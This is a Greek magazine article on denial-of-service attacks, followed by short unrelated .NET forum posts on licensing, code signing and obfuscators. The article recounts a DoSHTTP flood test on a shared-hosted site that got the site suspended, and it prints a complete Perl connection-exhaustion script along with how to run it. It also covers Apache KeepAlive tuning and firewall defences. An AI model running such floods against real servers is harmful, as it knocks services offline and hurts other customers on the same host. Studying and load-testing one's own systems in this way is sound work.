Παρόμοιες επιθέσεις μπορούν να γίνουν σε οποιονδήποτε server ή σύστημα εξυπηρέτησης γενικότερα. Εντάξει, δεν έχουμε σκοπό να κάνουμε συστημική ανάλυση (σε αυτό το άρθρο τουλάχιστον!) αλλά θα πρέπει να αναφέρουμε οτι τέτοιες επιθέσεις δεν γίνονται πάντα "κατά λάθος" ή λόγω "συγκυριών". Μπορούν να συμβούν (ηθελημένα ή μη) από ένα απλό pc χωρίς σύνδεση στο internet μέχρι σε ένα... κοινωνικό σύστημα!! Ας περιοριστούμε όμως στον τομέα μας, που αφορά έναν πιο virtual κόσμο: τον ηλεκτρονικό.

Κάθε ενέργεια που οδηγεί ένα σύστημα στο να μην μπορεί να ανταποκριθεί για αυτό που φτιάχτηκε μπορεί να καταταχθεί (άλλοτε περισσότερο και άλλοτε λιγότερο) στην κατηγορία των επιθέσεων DOS. Είναι αυτό που λέμε κοινά: "Μα τι έκανες βρε παιδί μου εκεί? Το χάλασες!!!" ;-)

Εικόνα 1: Η κλασική οθόνη του firefox, που μας πληροφορεί οτι ο server δεν... ανταποκρίνεται!

Στον κόσμο των υπολογιστών το φαινόμενο αυτό είναι αρκετά συχνό και μπορούμε να το χωρίσουμε σε δύο βασικές κατηγορίες όσο αφορά στην "πρόθεση" του επιτηθέμενου. Στην πρώτη κατηγορία έχουμε τις καλές προθέσεις. Δηλαδή δεν υπήρχε δόλος, πρόθεση στο να προκληθεί ζημιά. Δεν θα ασχοληθούμε πολύ με αυτές τις επιθέσεις, απλά θα αναφέρουμε ένα πράδειγμα:
Έστω οτι διατηρούμε ένα forum (ας πούμε για security) σε κάποιον server στο internet. Το forum μας δεν είναι πολυσύχναστο, άντε το πολύ καμιά 10αριά άτομα να μπαίνουνε την ημέρα. Μια δεδομένη χρονική στιγμή όμως ανακαλύπτουμε μια πολύ μεγάλη "τρύπα" ασφάλειας σε κάποιο πολύ γνωστό λειτουργικό σύστημα (ονόματα δεν λέμε!! - όσο κι αν μας πιέσετε) και την δημοσιεύουμε σε ένα ποστ με τον τίτλο "Μεγάλη Τρύπα!". Η "Μεγάλη Τρύπα!" παίρνει δημοσιότητα και αναφέρετε σαν link στο γνωστό http://slashdot.org/, δηλαδή σε ένα site που δέχεται καμια 200 χιλιάδες επισκέψεις ημερησιως! Ξαφνικά, εκατοντάδες users αρχίζουν να επισκέπτονται το site μας για να δούνε την "Μεγάλη Τρύπα!". Αν ο server μας δεν είναι έτοιμος να ανταπεξέλθει στις νέες συνθήκες, απλά θα σταματήσει να εξυπηρετεί της κλήσεις (βλέπε εικόνα 1 - φαινόμενο slashdot!!). Στο τέλος του άρθρου θα πούμε μερικά μικρά μυστικά που θα μπορούσαν να κάνουν τον server μας να μπορεί (ή τουλάχιστον να προσπαθεί!) να ανταποκρίνεται σε τέτοιες καταστάσεις.

Εικόνα 2: Το site του γνωστού μας, αμέριμνο πριν δεχτεί την επίθεση (εδώ φαίνεται στον firefox 3 μέσα από ένα σύστημα linux)!

Ας έρθουμε τώρα στην σκοτεινή πλευρά! (εδώ κανονικά ξεκινάει να παίζει και η μουσική του... twilight zone http://www.youtube.com/watch?v=NzlG28B-R8Y, δηστυχώς όμως δεν έχουμε την δυνατότητα να το κάνουμε αυτό... άμεσα ;-)
Τις επιθέσεις που γίνονται επίτηδες με σκοπό να σταματήσει ο server να ανταποκρίνεται. Τα είδη των επιθέσεων είναι πάρα πολλά (http://tinyurl.com/2c59m4) και δεν μας ενδιαφέρει η απλή παράθεση τους η οποία μπορεί να βρεθεί πολύ εύκολα στο net. Άλλοστε εμάς μας αφορά η... ανορθόδοξη προσέγγιση των θεμάτων ;-)
θα παρουσιάσουμε ένα παραγματικό παράδειγμα επίθεσης (μέ όλα τα... απότελέσματα του!!) από windows Vista. Επίσης, θα δείξουμε πως φτιάχνονται τέτοια προγράμματα, δείχνοντας ένα απλό πρόγραμμα σε γλώσσα perl, αυτή τη φορά σε Linux Ubuntu. Θα δείξουμε, ακόμα, πως δοκιμάσαμε αυτό το πρόγραμμα με θύμα (αυτή τη φορά) τον... εαυτό μας! Τέλος, θα αναφέρουμε τεχνικές αντιμετώπισης ηθελημένων ή μη επιθέσεων dos.

Πριν ξεκινήσουμε, όμως, πρέπει να αναφέρουμε οτι απαγορεύεται αυστηρά η χρήση και η εκτέλεση προγραμμάτων για επιθέσεις DOS παρά μόνο αν είμαστε οι ιδιοκτήτες του site και ο server είναι δικός μας ή το κάνουμε με την σύμφωνη γνώμη του ιδιοκτήτη! θέλουμε να σας τονίσουμε να μην κάνετε επιπόλαιη ή μη εξουσιοδοτημένη χρήση όσων παρουσιαστούν παρακάτω μιας και είναι πολύ πιθανό ο administrator του προς επίθεση server να κινηθεί νομικά εναντίον σας και να αντιμετωπίσετε σοβαρές κυρώσεις.

Επίθεση από Windows Vista

Η πιο κοινή επίθεση είναι να στείλουμε τυχαία δεδομένα - σκουπίδια(flood) στον server στον οποίο θέλουμε να δοκιμάσουμε την αντοχή. Τα δεδομένα αυτά θα είναι τυχαία bytes, kBytes ή και Μβytes και θα αποστέλονται από ένα πρόγραμμα το οποίο θα δημιουργεί (στην μνήμη) πολλαπλές συνδέσεις (multiple asynchronous sockets) με τον server για να αυξήσει τόσο τον όγκο των δεδομένων που στέλονται όσο και το πλήθος των συνδέσεων. Το αποτέλεσμα όπως θα δείτε είναι η άρνηση εξυπηρέτησης από τον server. Το αξιοσημείωτο στην περίπτωση αυτή δεν είναι τόσο το αποτέλεσμα όσο οι... παράπλευρες απώλειες όπως θα δείτε στην συνέχεια, καθώς επίσης και η αντίδραση του ιδιοκτήτη της υπηρεσίας Host που (ομολογουμένως) είχε όλο το δίκιο να διαμαρτυρηθεί!!
Θα σας δείξουμε λοιπόν ένα πραγματικό και "πλήρη" κύκλο μιας επίθεσης!

Για την συγκεκριμένη επίθεση χρησιμποιήσαμε ένα έτοιμο πρόγραμμα το οποίο κυκλοφορεί στο εμπόριο και το οποίο χρησιμοποιείται για δοκιμές "αντοχής" σε servers από επιθέσεις DOS (servers crash tests). Το πρόγραμμα αυτό είναι το DoSHTTP (εικόνα 3) και μπορείτε να κατεβάσετε μια evaluation έκδοση από το site της εταιρίας που το δημιούργησε (http://socketsoft.net/).

Εικόνα 3: Ένα πρόγραμμα για δοκιμές "αντοχής" σε επιθέσης DOS (servers crash tests)

Το site που θα δεχτεί την επίθεση είναι ένα ελληνικό portal/forum (εικόνα 2) που αφορά στο security του οποίου γνωρίζουμε τους διαχειριστές του και είχαμε την σύμφωνη γνώμη τους. Το μόνο που είχαμε να κάνουμε είναι να τρέξουμε το πρόγραμμα και να δώσουμε την διεύθυνση του site θύματος (εικόνα 3). Στο πεδία της φόρμας αφήσαμε τα defaults: Ο user agent αφορά στις πληροφορίες του http header και στα πεδία Sockets (συνδέσεις) και Requests (τύπος αιτήσεων) βάλαμε αντίστοιχα 500 (συνδέσεις) και continuous (συνεχής συνδέσεις με τον server – περισσότερες λεπτομέρειες δείτε παρακάτω στο "Τρόποι Προστασίας"). Πατώντας το κουμπάκι "Start Flood" το πρόγραμμα ξεκίνησε το θεάρεστο έργο του: Να στέλνει χιλιάδες αιτήσεις (requests) στον server. Καθώς το πρόγραμμα έτρεχε, δοκιμάσαμε να μπούμε στο site με τον firefox. Τα απτελέσματα φαίνονται στην παρακάτω εικόνα:

Εικόνα 4: Ο server (εδώ για την ακρίβεια ο server της SQL)... "γονάτησε".

Ο server δεν μπόρεσε να εξυπηρετήσει όλες τις... αιτήσεις και μας "έκοψε". Η αντίδραση είναι αρκετά κλασική σε τέτοιου είδους επίθέσεις. Το πρόγραμμα μας όμως μετά από λίγη ώρα τελείωσε δίνοντας μας σημαντικές πληροφορίες:

Εικόνα 5: Μετά το τέλος του dOs έχουμε και... στατιστικά στοιχεία!

Εντάξει μέχρι εδώ! Όλα καλά! Τώρα το site (αφού το πρόγραμμα μας τελείωσε) λογικά θα πρέπει να μας επιτρέπει την πρόσβαση, έτσι δεν είναι; Αμ δε! Λογαριάσαμε χωρίς των ξενοδόχο. Η εταιρία που έχει το site αποφάσισε να μας κόψει (όχι μόνο σε εμάς αλλά σε όλους) την πρόσβαση στο site αυτό, όπως δείχνει και η παρακάτω εικόνα.

Εικόνα 6: Στατιστικά στοιχεία του site έχουμε... το ίδιο το site δεν το έχουμε!

Η ιδιοκτήτρια εταιρία διαπιστώνοντας επίθεση dOs έκανε redirection το site στη σελίδα που βλέπετε στην εικόνα 6 και κλείδωσε τα accounts των διαχειριστών καθως και κάθε πρόσβαση σε αυτό (όπως ftp κλπ)!

Από εδώ και πέρα ξεκινάει ένας κύκλος διαπραγματεύσεων (με mails κλπ) για να πειστεί η εταιρία hosting οτι το attach ήτανε για λόγους test.
Για λόγους πληροφόρησης σας δείχνουμε την πρώτη απάντηση της εταιρίας όταν ζητήσαμε να επαναφέρουν το site:

Why would you do that ?

You are on a shared server and you are effecting other customers on the server.

We will not unsuspended you.
Thank You,
Gxxxxxxxx Wxxxxxxxx

http://www.webhostingpad.com/

Ticket Details
===================
Ticket ID: Nxxxxxxxxxxx
Department: Manager
Priority: High
Status: Closed

Απ' ότι φαίνεται από το ύφος της επιστολής, η εταιρία δεν συμμετείχε στον ενθουσιασμό μας για την επιτυχία της δοκιμής. Φυσικά το δίκιο είναι με το μέρος τους μιας και η δοκιμή μας επειρέασε (απ ότι αναφέρουν) όλο τον server ο οποίος περιλαμβάνει πολλά άλλα sites εκτός από το s3cure.gr.
Για να μην λέμε πολλά, μετά από κάποιες διαπραγματεύσεις και αφού τους αναφέραμε τους αγαθούς σκοπούς μας, το site άνοιξε και επανήλθε κανονικά...

Επίθεση... αυτοκτονίας από linux ubuntu

Ήρθε η ώρα να φτιάξουμε το δικό μας πρόγραμμα επίθεσης dOs και να το δοκιμάσουμε στον... εαυτό μας, δηλαδή στον apache server που έχουμε στον linuxaki μας (εικόνα 7).
Ως συνήθως θα χρησιμοποιήσομε την αγαπημένη μας γλώσσα... την perl! Πριν φτάσουμε όμως στα ενδότερα του κώδικα θα σας πούμε σε γενικές γραμμές την "μεθοδολογία" που θα ακολουθήσουμε.
Απαιτείται να έχετε εγκατεστημένη την Perl και τον Apache server καθώς και κάποιες μικρές βασικές γνώσεις για αυτά τα δύο.

Εικόνα 7: Ο apache web server εγατεστημένος στο "linuxaki" μας :-)

Θα φτιάξουμε ένα πρόγραμμα το οποίο θα δημιουργεί πολλές συνδέσεις με τον server και θα τις κρατάει ανοιχτές για τόσο χρονικό διάστημα, όσο του πούμε εμείς. Θα τρέχει (από που αλλού;) από την γραμμή εντολών και θα δέχεται τέσσερις παραμαμέτρους:
1η παράμετρος: Η Διεύθυνση (URL) του server θύματος.
2η παράμετρος: Η Πόρτα που θα "χτυπήσει" το πρόγραμμα.
3η παράμετρος: Ο αριθμός των δευτερολέπτων που το πρόγραμμα θα "περιμένει" με τις συνδέσεις ανοιχτές.
4η παράμετρος: Το πλήθος των συνδέσεων που θα πραγματοποιηθούν στον server.

Το πρόγραμμα περιέχει τα κατάλληλα σχόλια ώστε να μην χρειάζετε πολύ ανάλυση των ενεργειών που υλοποιεί:

#!/usr/bin/perl
#
# ΑΡΧΙΚΗ ΙΔΕΑ ΑΠΟ Vade79[v9@nonexistant].
# ΤΡΟΠΟΠΟΙΗΣΗ ΚΑΙ ΑΛΛΑΓΗ ΤΟΥ ΚΩΔΙΚΑ ΣΕ ΜΙΑ ΑΠΛΟΥΣΤΕΡΗ ΜΟΡΦΗ
# Thiseas 2008.
#
use Socket; # ΒΑΣΙΚΗ ΒΙΒΛΙΟΘΗΚΗ ΕΠΙΚΟΙΝΩΝΙΑΣ.
# ΕΙΣΑΓΩΓΗ ΠΑΡΑΜΕΤΡΩΝ. ΑΝ ΔΕΝ ΕΧΟΥΝ ΔΩΘΕΙ ΠΑΡΑΜΕΤΡΟΙ ΒΑΛΕ DEFAULT ΤΙΜΕΣ.
$Server   = $ARGV[0]; if (!$Server){$Server='127.0.0.1';}
$Port   = $ARGV[1]; if (!$Port){$Port=80;} 
$Anamoni  = $ARGV[2]; if (!$Anamoni){$Anamoni=1;}
$Pli8osSyndesewn = $ARGV[3]; if (!$Pli8osSyndesewn){$Pli8osSyndesewn=1;}

# ΕΜΦΑΝΙΣΗ ΤΟΥ ΤΙΤΛΟΥ ΚΑΙ ΤΩΝ ΕΠΙΛΟΓΩΝ ΤΟΥ ΠΡΟΓΡΑΜΜΑΤΟΣ.
print " - dOs Attach by Flooding - \n";
print "Syndeseis    : $Pli8osSyndesewn. \n";
print "Anamoni      : $Anamoni. \n";

# ΔΗΛΩΣΕΙΣ ΜΕΤΑΒΛΗΤΩΝ ΚΑΙ ΠΡΩΤΟΚΟΛΟΥ ΕΠΙΚΟΙΝΩΝΙΑΣ
my ($Pli8os_Syndesewn_Ari8mos,$pa,$protocol_info,$EpityxeisSyndeseis,$counter,$H_Syndesi);
$Pli8os_Syndesewn_Ari8mos=inet_aton($Server);
$pa=sockaddr_in($Port,$Pli8os_Syndesewn_Ari8mos);
$protocol_info=getprotobyname('tcp');
$EpityxeisSyndeseis=0;
print "$Server:$Port, Ginetai prospa8eia gia $Pli8osSyndesewn syndeseis.\n";


# ΕΔΩ  ΠΡΑΓΜΑΤΟΠΟΙΟΥΝΤΑΙ ΟΛΕΣ ΟΙ ΣΥΝΔΕΣΕΙΣ ΠΟΥ ΖΗΤΗΘΗΚΑΝ.
$counter=0;
while ($counter < $Pli8osSyndesewn){
 $H_Syndesi = "SOCK$counter";
 socket($H_Syndesi,PF_INET,SOCK_STREAM,$protocol_info);
 if (connect($H_Syndesi,$pa)) { $EpityxeisSyndeseis++; } # ΕΠΙΤΥΧΗΣ ΣΥΝΔΕΣΗ.
 $counter++;
}
# ΜΠΟΡΕΙ ΝΑ ΖΗΤΗΘΟΥΝ ΠΟΛΥ ΠΕΡΙΣΣΟΤΕΡΕΣ ΣΥΝΔΕΣΕΙΣ ΑΠΟ ΑΥΤΕΣ ΠΟΥ ΟΡΙΖΟΝΤΑΙ 
# ΣΤΟ /etc/apache2/apache2.conf 'Η ΑΠΟ ΑΥΤΕΣ ΠΟΥ ΕΙΝΑΙ ΗΔΗ ΕΛΕΥΘΕΡΕΣ, ΟΠΟΤΕ 
# ΕΔΩ ΑΝΑΦΕΡΟΥΜΕ ΠΟΣΕΣ ΕΠΙΤΥΧΕΙΣ ΣΥΝΔΕΣΕΙΣ ΠΡΑΓΜΑΤΟΠΟΙΗΘΗΚΑΝ.
print "$Server:$Port, Pragmatopoih8hkan $EpityxeisSyndeseis epityxeis syndeseis apo $counter, Anamoni $Anamoni. \n";
print "$Server:$Port, dOs se ekseliksi...\n";
sleep($Anamoni); # ΠΕΡΙΜΕΝΕΕΕΕΕΕΕΕ......!
print "$Server:$Port, Telos diadikasias.\n";

# ΤΩΡΑ ΚΛΕΙΣΕ ΟΛΕΣ ΤΙΣ ΣΥΝΔΕΣΕΙΣ (ΑΝΕΞΑΡΤΗΤΑ ΑΝ ΗΤΑΝ ΕΠΙΤΥΧΕΙΣ 'Η ΟΧΙ).
$counter = 0;
while ($counter < $Pli8osSyndesewn){
 $H_Syndesi="SOCK$counter";
 shutdown($H_Syndesi,2);
 $counter++;
}

Ο σκοπός όμως είναι να δούμε και στη πράξη πως ακριβώς συμπεριφέρεται το πρόγραμμα... Για να δούμε:

Κίνησις 1η: Στην αρχή είμαστε επιφυλακτικοί και τρέχουμε το πρόγραμμα με πολύ μικρές τιμές. Αυτό βοηθάει να κατανοήσουμε καλύτερα την λειτουργία του μιας και τις μικρές τιμές μπορούμε να τις χειριστούμε ευκολότερα, οπότε τρέχουμε το εξής:

Δηλαδή "χτυπάμε" το linuxaki στην πόρτα 80 με αναμονή 1 δευτερόλεπτο και 5 συνδέσεις.
Αμέσως μετά και σε ένα άλλο παράθυρο command τρέχουμε "sudo netstat -tapn". Με αυτόν τον τρόπο θα δούμε τις όλες τις ανοιχτές συνδέσεις που έχουμε (μαζί με τις 5 που μόλις ανοίξαμε). Χε χε... αν δεν τα καταφέρετε να το τρέξετε σε λιγότερο από ένα δευτερόλεπτο (για να δείτε τις συνδέσεις ανοιχτές - established) απλά αυξήστε τον χρόνο αναμονής ;-). Αν μετά από το τέλος του προγράμματος ξανατρέξουμε "sudo netstat -tapn" πάλι θα δούμε τις 5 συνδέσεις μας αυτή τη φορά όμως σε άλλο... status:

Είναι ενδιαφέρον να πειραματιστείτε λίγο με το παραπάνω για να καταλάβετε πως λειτουργεί ο apache και πως συμπεριφέρονται οι διαδικασίες monitoring (όπως η netstat) του λειτoυργικού σας. Για τους πιό ανήσυχους θα προτείναμε να πειραματιστούν και με το configuration του apache server (όπως π.χ. στο μέγιστο αριθμό επιτρεπόμενων ανοιχτών συνδέσεων κλπ, όπως Timeout, KeepAlive, MaxKeepAliveRequests, KeepAliveTimeout) τρέχοντας το πρόγραμμα με διαφορετικές παραμέτρους συνδέσεων και καθυστέρησης. Απλά μην ξεχνάτε οτι με κάθε αλλαγή στο /etc/apache2/apache2.conf πρέπει να εκκίνησετε ξανά τον apache με "sudo /etc/init.d/apache2 restart".

Κίνησις 2η: Τώρα που ξεψαρώσαμε λίγο μπορούμε να αρχίσουμε τις... "χυδαιότητες" και να απαιτήσουμε οχι 5 αλλά 1000 συνδέσεις και όχι 1 αλλά 180 δευτερόλεπτα καθυστέρηση:

Μόλις ξεκινήσει το πρόγραμμα να τρέχει θα πρέπει να κάνουμε, στον internet browser, refresh την σελίδα του appache. Ανάλογα τις ρυθμίσεις που έχουμε στο /etc/apache2/apache2.conf κάποια στιγμή θα δούμε το περίφημο "Network Timeout" (εικόνα 11)

Εικόνα 11: Network Time out... εν δράση!

Τρόποι προστασίας

Οι τρόποι προστασίας μπορούνε να διαχωριστούν σε 2 βασικούς άξονες:
Ο ένας αφορά στην προστασία από το φαινόμενο slashdot. Δηλαδή από την απότομη αύξηση της επισκεψιμότητας στον server μας η οποία δεν οφείλετε σε επίθεση. Τέτοιες καταστάσεις μπορούμε να τις αντιμετωπίσουμε με την αλλαγή κάποιων τιμών του apache configuration file (/etc/apache2/apache2.conf), όπως η αλλαγή των τιμών:
KeepAlive σε συνδιασμό με τις MaxKeepAliveRequests και KeepAliveTimeout (http://tinyurl.com/5detgy).
Η KeepAlive καθορίζει αν μια σύνδεση με τον server μας θα μένει ανοιχτή ή όχι. Για να καταλάβουμε τι σημαίνει αυτό θα δώσουμε το εξής παράδειγμα: Σκεφτείτε οτι το site μας περιέχει ένα μέρος με κείμενο και ένα μέρος με τρείς εικόνες, δηλαδή 4 διαφορετικά "κομμάτια". Χοντρικά, εάν έχουμε θέσει το KeepAlive=off τότε θα πραγματοποιηθούν 4 διαφορετικές συνδέσεις από τoν firefox (ας πούμε) για να μας δείξει το site, μια για να φορτωθεί το κάθε "κομμάτι".
Ας πούμε τώρα οτι χρειάζονται 4 δευτερόλεπτα για να διαβαστούν τα παραπάνω. Αν θέσουμε
KeepAlive=on
KeepAliveTimeout=6
Τότε με μία σύνδεση (που θα διαρκεί 6 δευτερόλεπτα) θα μπορέσει ο browser μας να φέρει το site μας (με μία! - και τα 4 κομμάτια). Ο χρόνος φυσικά θα είναι πολύ καλύτερος από τον προηγούμενο. Φυσικά,... ο τρόπος αυτός έχει ένα μειονέκτημα: Ο μέγιστος αριθμός των συνδέσεων στον server μας ορίζετε από την MaxKeepAliveRequests. Δηλαδή με ένα "MaxKeepAliveRequests=1000" τότε οι πρώτοι 1000 χρήστες θα συνδεθούν για 6 δευτερόλεπτα. Έτσι εάν τον server μας τον επισκεφτούν ταυτόχρονα 10000 χρήστες!!! (λέμε τώρα), τότε μόνο 1000 κάθε φορά θα μπορούν να έχουν πρόσβαση στα δεδομένα και οι υπόλοιποι 9000 θα περιμένουν από 6 δευτερόλεπτα (τουλάχιστον). Αυτό θα έχει σαν αποτέλεσμα πολύ από αυτούς να δούνε στους browsers τους το περίφημο time out και θα τους ζητηθεί να πατήσουν το refresh για ακόμα μια πρσοπάθεια.
Μιά καλή λύση σε πολυσύχναστα sites θα ήταν να θέσουμε το "KeepAlive=off". Αυτό θα είχε σαν αποτέλεσμα ο κάθε χρήστης (ατομικά) να έχει μια μικρή καθυστέρηση (σε σχεση με το αν είχαμε συνεχή σύνδεση). Η καθυστέρηση αυτή (στατιστικά) κυμαίνεται γύρω στο 15-20%, δηλαδή όχι και τόσο σοβαρή. Το καλό όμως θα είναι οτι θα μπορούμε να "εξυπηρετήσουμε" ένα πάρα πολύ μεγάλο αριθμό χρηστών χωρίς ιδαίτερα προβλήματα.
Ένας άλλος σημαντικός παράγοντας για καλύτερη απόκριση είναι τα settings της βάσης δεδομένων. Αν έχουμε π.χ. MySQL και το site μας κάνει χρήση πολλών εντολών που φέρνουν ή ενημερώνουν την Βάση μας, τότε αξίζουν προσοχής όλες οι πατράμετροι που ορίζουν το cache και τα buffers της μνήμης που χρησιμοποιήται (π.χ. query_cash_size). Μια λεπτομερής ανάλυση αυτών των παραμέτρων θα ξέφευγε εντελώς από τον σκοπό του άρθρου. Αξίζει όμως να αναφέρουμε οτι υπάρχουν αρκετές και λεπτομερείς αναφορές στο net (http://tinyurl.com/eoxha).
Φυσικά δεν λείπουνε και τα έτοιμα προγράμματα που μετρούν (και κάποια διορθώνουν) προβλήματα ταχύητητας και υψηλού φόρτου σε έναν server όπως τα:
> JMeter (http://tinyurl.com/56rfyo): πρόγραμμα από το γνωστό Jakarta Project σε java που μπορεί να μετρήσει μετρήσει την αποδοτικότητα του server.
> Web Developer Server Suite (http://tinyurl.com/5p35hn): Εμπορικό πρόγραμμα σε windows για μέτρηση και έλεγχο.
> Zend platform: μια γνωστή επμορική εφαρμογή με ομολογουμένος πολλές δυνατότητες και αξιοσημείωτα χαρακτηρηστικά βελτιστοποίησης (http://www.zend.com/).

Όπως είπαμε όμως, είπαμε και πριν, υπάρχει και ο άλλος άξονας. Οι... επιθέσεις. Μια σύντομη αλλά περιεκτική λίστα τρόπων προστασίας από επιθέσεις DOS είναι η παρακάτω:
> Ένα καλό firewall (στην ιδανική περίπτωση hardware) με σύστημα intrution detection (π.χ http://tinyurl.com/6z6tup ή http://tinyurl.com/evn6v). Εδώ μπορείτε να "μπλοκάρετε" συγκεκριμένες πόρτες, Ips, ακόμα και συγκεκριμένα πρωτόκολα επικοινωνίας με τον server σας.
> Να έχετε πάντα ενημερωμένο software (λειτουργικό, web servers, firewalls, antiviruses κλπ) με τις τελευταίες ενημερώσεις του κατασκευαστή.
> Ειδικό Software, Routers και hardawre συστήματα για πρόληψη επιθέσεων DOS (http://tinyurl.com/6emync).

Γενικά, οποτεδήποτε παρατηρήσετε ασυνήθιστη πτώση της ταχύτητας του δικύου σας να ελέγχετε και να μελετάτε πάντα τα logs του server σας. Για παράδειγμα, σε περίπτωση που παρατηρήσετε πάρα πολλές συνδέσεις από μια συγκεκριμένη IP σε πολύ μικρό χρονικό διάστημα (π.χ. μέσα σε 10") είναι κατά πάσα πιθανότητα επίθεση DOS. Το πρώτο που θα πρέπει να κάνετε τότε είναι να "κόψετε" την IP να έχει πρόσβαση στον server σας, π.χ. μέσω του firewall.

Αντί... επιλόγου ;-)

Να ξεκαθαρίσουμε οτι η διαδικασία του να καλείς ένα έτοιμο πρόγραμμα για να κάνεις απλά κακό σε κάποιον server (που δεν σου φταίει σε τίποτα) είναι ο ορισμός του lamer και του script kiddie και καταδικάζεται μετά "βδελυγμίας" από όλους τους απανταχού normal ανθρώπους (πόσο μάλλον και από τους hackers – που δεν είναι και... normal!!)
Από την άλλη μεριά, η διαδικασία επίθεσης που περιγράφτηκε στο linux, προσφέρεται για πειραματισμούς με τον apache μας μιας και στo δικό μας περιβάλον δεν πρόκειται να μας κατηγορήσει κανείς ;-). Με τον ίδιο ακριβώς τρόπο (και προτείνετε από τον γράφοντα) μπορούμε να δοκιμάσουμε τις "αντοχές" ενός τοπικού IIS 7, προς γνώση και συμόρφωση (μας)!
Επίσης, αλλάχτε και το προγραμματάκι μας, προσαρμόστε το, ενισχύστε το... αλλάξτε του τα φώτα guys!! "Κρεμάστε" το σύστημα σας και ξαναεγκαταστήστε το!! Άλλωστε, ο τρόπος αυτός του πειραματισμού είναι ο καλύτερος για να μάθει κάποιος αυτά που κανένα βιβλίο και καμιά αίθουσα διαδασκαλίας δεν μπορεί να του προσφέρει.
Είναι ο τρόπος που μάθανε όλοι οι hackers: "The hard way" ή για τους λάτρεις του Matrix: "The Blue Pile" (http://tinyurl.com/68k2z)

Happy Testing!

DoS Attacks [ Πρώτη Δημοσίευση: Περιοδικό TotalXakeR #17 ]

Hardware (memmory stick-HASP) protection help

Johnnyxp64 — Tue, 29 Sep 2009 21:17:17 GMT

Καλησπέρα σε όλους τους φίλους & φίλες

Ψάχνω να βρω μια λύση ώστε να προστατέψω μια εφαρμογή μου με hardware τροπο καποιο memmory stick (HASP κλειδί) που θα πρεπει να ειναι πανω στο μηχανημα ωστε να επιτρεπει την εκτελεση της.
Δεν θέλω να ψάξω στα τυφλά, δεν το εχω ξανακάνει με hardware και θα ήθελα την γνώμη και τις προτάσεις απο όλους όσους έχουν κάνει κάτι τέτοιο ως προς τα εξής:

πως λέγεται που μπορώ να βρω site με πληροφορίες - εικόνες.
πόσο εύκολα γίνετε (και αν χρειάζεται) η παραμετροποίησή μέσα απο vb.net 2008. Παραδείγματα κώδικα?
μπορει να "σπασει" (hack)?
πόσο κοστίζει?
Κάθε πότε κάνει τον έλεγχο? Δεν θέλω να τον κάνει μόνο στην αρχή και μετά να μπορεί να βγει και να χρησιμοποιηθεί και σε άλλο μηχάνημα.
Πόσο εύκολα αν χαλάσει μπορεί να αντικατασταθεί χωρείς να πρεπει να αλλάξω κώδικα η κατι αλλο στον πελατη, απλά να του ταχυδρομώ το νεο usb hasp.

σας ευχαριστώ πολύ εκ των προτέρων.

Επίθεση!!! XSS, SQL Inject it!

Παπαδημητρίου Γεώργιος — Fri, 26 Dec 2008 08:10:12 GMT

Το μήνυμα αφαιρέθηκε για τους λόγους που ανέφερε ο φίλος thiseas

Message-Digest algorithm 5

Παπαδημητρίου Γεώργιος — Tue, 20 Jan 2009 19:57:27 GMT

Hello dotNetZones!

Σε αρκετές σελίδες έχω δει MD5 hash ως κείμενο, δίπλα από το link για το download ενός αρχείου.

Η ερώτηση μου είναι εαν χρησιμοποιείται αυτό πουθενά.

Υπάρχει build-in έλεγχος του MD5, πχ στα windows, κατά το download του αρχείου?
Υπάρχει έλεγχος του MD5 από οποιονδήποτε download manager?

Γιατί έχω την εντύπωση ότι πρόκειται περί φρου - φρου και αρώματος?

DO NOT Decompile it

Παπαδημητρίου Γεώργιος — Mon, 12 Jan 2009 01:43:56 GMT

Ακολουθώντας τα βήματα σχετικού post Code security Hand-Made Digital Signing vs Commercial Signing φτάσαμε και στην απόφαση
δημιουργίας ενός επιπλέον τοίχους προστασίας. Οι υποψήφιοι?

1. Dotfuscator Professional Edition for .NET 4.2.5
2. CodeVeil 1.3
3. Salamander .NET Protector 2.2.0
4. .NET Reactor 3.9.8.0

Μετά από αρκετό ψάξιμο και σε σχετικά post στο dotnetzone και γενικότερα...

CodeVeil 1.3
...το βρήκα σε rapidshare link (δεν μπόρεσα να το κατεβάσω - broken link)

Salamander .NET Protector
...βρήκα το Salamander .NET Linker σε rapidshare link (φαντάζομαι ότι το κλέιδωμα έγινε με το .NET Protector)

.ΝΕΤ Reactor
...υποφέρει από support (τουλάχιστον δεν το βρήκα σε rapishare μαζί με το patch του!)

Ναι γνωρίζω ότι το θέμα έχει τεθεί με διαφορετικούς ίσως τίτλους ανα καιρό, όμως ουσιαστική απάντηση πιστεύω ότι δεν έχει δωθεί
Ποιός από τους ανωτέρω υποψηφίους έχει τα λιγότερα ελαττώματα?

Hand-Made Digital Signing vs Commercial Signing

Παπαδημητρίου Γεώργιος — Thu, 08 Jan 2009 20:27:02 GMT

Ήρθε η στιγμή να κάνουμε publish μία εφαρμογή στο Ιντερνετ. Ωραία και τι γίνεται?
Τι τύπου πιστοποιητικό θα χρησιμοποιήσουμε για την υπογραφή των assemblies και λοιπών...?

Ένα που θα το δημιουργήσουμε εμείς, τζάμπα, μέχρι ο θεός ξέρει πότε,
ή θα πληρώρουμε 300+ κάθε χρόνο για έκδοση πιστοποιητικού σε γνωστή εταιρία?

1) Ποια είναι η διαφορά τους στο αποτέλεσμα?

Στο ότι ο χρήστης κατά την εγκατάσταση της εφαρμογής,
θα βλέπει εάν το πιστοποιητικό είναι MadeBy George ή MadeΒy xxxxxxxxxx

Licensing σύστημα

axaros — Wed, 18 May 2005 17:59:27 GMT

Γεια χαρά σε όλους !!!!
Ψάχνω για κάποιο licensing εργαλείο για .NET επειδή έχει τρομάξει το μάτι μου με τους decompilers.

Έχω βρει το Licensing System της Desaware ...
Άλλες καλές επιλογές κατά τη γνώμη σας ;

Ίσως ακούγεται απλοϊκό, αλλά πως προστατεύω τον κώδικα μου από ένα Ghost image;

Ζητώ τα φώτα σας συνάδελφοι !!!!!

Captcha σε winforms?

Παπαδημητρίου Γεώργιος — Thu, 18 Dec 2008 03:40:57 GMT

Γεια χαρά,

θα ήθελα τη γνώμη σας για προσθήκη ή όχι captcha σε winForm εφαρμογή.
Ναι πολύ καλά διαβάσατε, σε winForm οχι ASP.

Μήπως είναι too much for nothing?

(Η εγκατάσταση της εφαρμογής θα γίνεται via clickonce).